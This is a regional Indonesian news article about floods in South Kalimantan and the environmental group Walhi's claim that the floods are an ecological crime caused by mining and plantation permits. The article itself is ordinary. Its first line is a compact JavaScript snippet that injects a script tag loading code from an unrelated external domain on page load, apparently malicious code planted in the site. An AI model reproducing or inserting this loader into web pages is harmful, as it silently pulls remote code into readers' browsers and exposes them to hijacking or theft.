(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Banjir besar kembali melanda sejumlah wilayah di Kalimantan Selatan (Kalsel).
Wahana Lingkungan Hidup (Walhi) Kalsel menegaskan hal tersebut bukanlah bencana alam, melainkan kejahatan ekologis yang dibuat pemangku kebijakan.
Semua itu lahir dari gagalnya kebijakan tata kelola lingkungan oleh negara, kegagalan mitigasi bencana, kerakusan korporasi, serta pengabaian sistematis terhadap kerusakan lingkungan.
Di samping krisis iklim global, dampak yang dialami Kalsel berlipat ganda disebabkan kehancuran ekosistem akibat industri ekstraktif yang diberi izin oleh negara.
Baca juga: Sertijab Camat Mantangai Berlangsung Khidmat
Curah hujan tinggi hanya pemicu, tapi akar masalahnya berasal dari rusaknya daya dukung dan daya tampung lingkungan akibat deforestasi, tambang, perkebunan monokultur skala besar, dan Perizinan Berusaha Pemanfaatan Hutan (PBPH).
Krisis Diperparah oleh Kebijakan Eksploitatif Negara
Walhi Kalsel memandang pemerintah Prabowo-Gibran tidak menunjukkan komitmen dalam penyelamatan lingkungan hidup. Sebaliknya, berbagai kebijakan atas nama pembangunan, pangan, energi, dan pertahanan justru mempercepat perampasan ruang hidup rakyat dan memperdalam krisis ekologis.
Di tingkat internasional, pertemuan iklim seperti Conference of the Parties (COP), termasuk COP 30 di Brasil, gagal total menjawab krisis iklim. Kesepakatan yang dihasilkan tidak menyentuh sumber emisi dan perusakan, melainkan hanya memoles wajah kapitalisme hijau melalui berbagai skema solusi palsu.
Solusi palsu yang ditawarkan di Kalsel adalah program REDD+ dan perdagangan karbon yang tidak jadi solusi tetapi bagian dari masalah.
Baca juga: Lirik dan Chord Lagu Perawan Kalimantan (Karindangan) by Didi Kempot Beserta Terjemahannya
Pasalnya, REDD+ memberi ruang bagi negara maju dan korporasi perusak lingkungan untuk terus mencemari dan merusak wilayah lain, sambil mengklaim pengurangan emisi dari hutan yang pada kenyataannya sudah lama dijaga oleh masyarakat adat dan lokal. Tanpa REDD+ sekalipun, hutan-hutan rakyat telah berfungsi sebagai penyerap karbon alami.
Walhi Kalsel menekankan kerusakan lingkungan tidak bisa dibayar dengan sertifikat karbon. Seharusnya, pelaku kerusakan memulihkan lokasi kerusakan, bukan malah melempar tanggung jawab ke wilayah lain dengan mengorbankan ruang hidup masyarakat.
Kalsel Darurat Ekologis
Catatan akhir tahun WALHI Kalsel menunjukkan, kondisi lingkungan Kalsel telah melampaui batas aman. Hal itu dikarenakan 1,9 juta hektare dari 3,7 juta hektare total luas wilayah Kalsel atau setara 51,57% telah dikuasai dan dibebani izin industri ekstraktif.
Baca juga: Rest Area Disbunnak Kalsel Bagikan 25 Ribu Paket Konsumsi Momen 5 Rajab
Luasan yang hampir setara 29 kalau luas DKI Jakarta ini menggambarkan skala perampasan ruang hidup yang masif dan brutal. Saat ini, Kalsel hanya memiliki 49.958 hektare sisa tutupan hutan primer, angka ini sangat timpang dibandingkan luas konsesi tambang, sawit, dan kehutanan.
Pemerintah Sibuk Mengelola Dampak, Bukan Menghentikan Penyebab
Sampai sekarang, pemerintah hanya bisa melakukan penanggulangan bencana, distribusi bantuan, normalisasi sungai, tanpa berani menyentuh permasalahan utamanya. Evaluasi dan pencabutan izin industri ekstraktif selalu ditunda, seakan negara menunggu korban jatuh lebih banyak baru bertindak.
Hal ini diperparah ketika pemerintah enggan menetapkan status bencana yang layak dalam peristiwa bencana ekologis. Akibatnya, masyarakat kehilangan hak atas pemulihan, perlindungan, dan keadilan pascabencana.
Baca juga: Jemaah Diprediksi Lebih Banyak, Banjir Bikin Lalu Lintas Lebih Lama Terurai
Tindakan Tegas Aparat yang Lamban dalam Sektor Ekstraktif
Lambatnya tindakan aparat dalam sektor ekstraktif ilegal menyebabkan banyaknya eksploitasi dan kerusakan. Walhi Kalsel menilai, Aparat Penegak Hukum (APH) harusnya bertindak tegas, cepat, dan tepat, bukannya lamban dan terkesan nirinisiatif dalam penindakan.
Tuntutan Walhi Kalsel
Baca juga: Penyekatan di Tugu Adipura Banjarbaru, Jemaah Terkonsentrasi dari Bundaran hingga Lapangan Murdjani
Dengan demikian, banjir di Kalsel merupakan alarm keras yang memperlihatkan pahitnya krisis ekologis. Bencana akan terus diproduksi dan rakyat terus jadi korban selama negara masih berpihak terhadap korporasi dan berlindung di balik solusi palsu. (Kanalkalimantan.com/fahmi)
Reporter: fahmi
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More
KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More
KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More
KANALKALIMANTAN. COM, PONTIANAK - PT PLN (Persero) Unit Pelaksana Pengatur Beban (UP2B) Kalimantan Barat memastikan… Read More
This website uses cookies.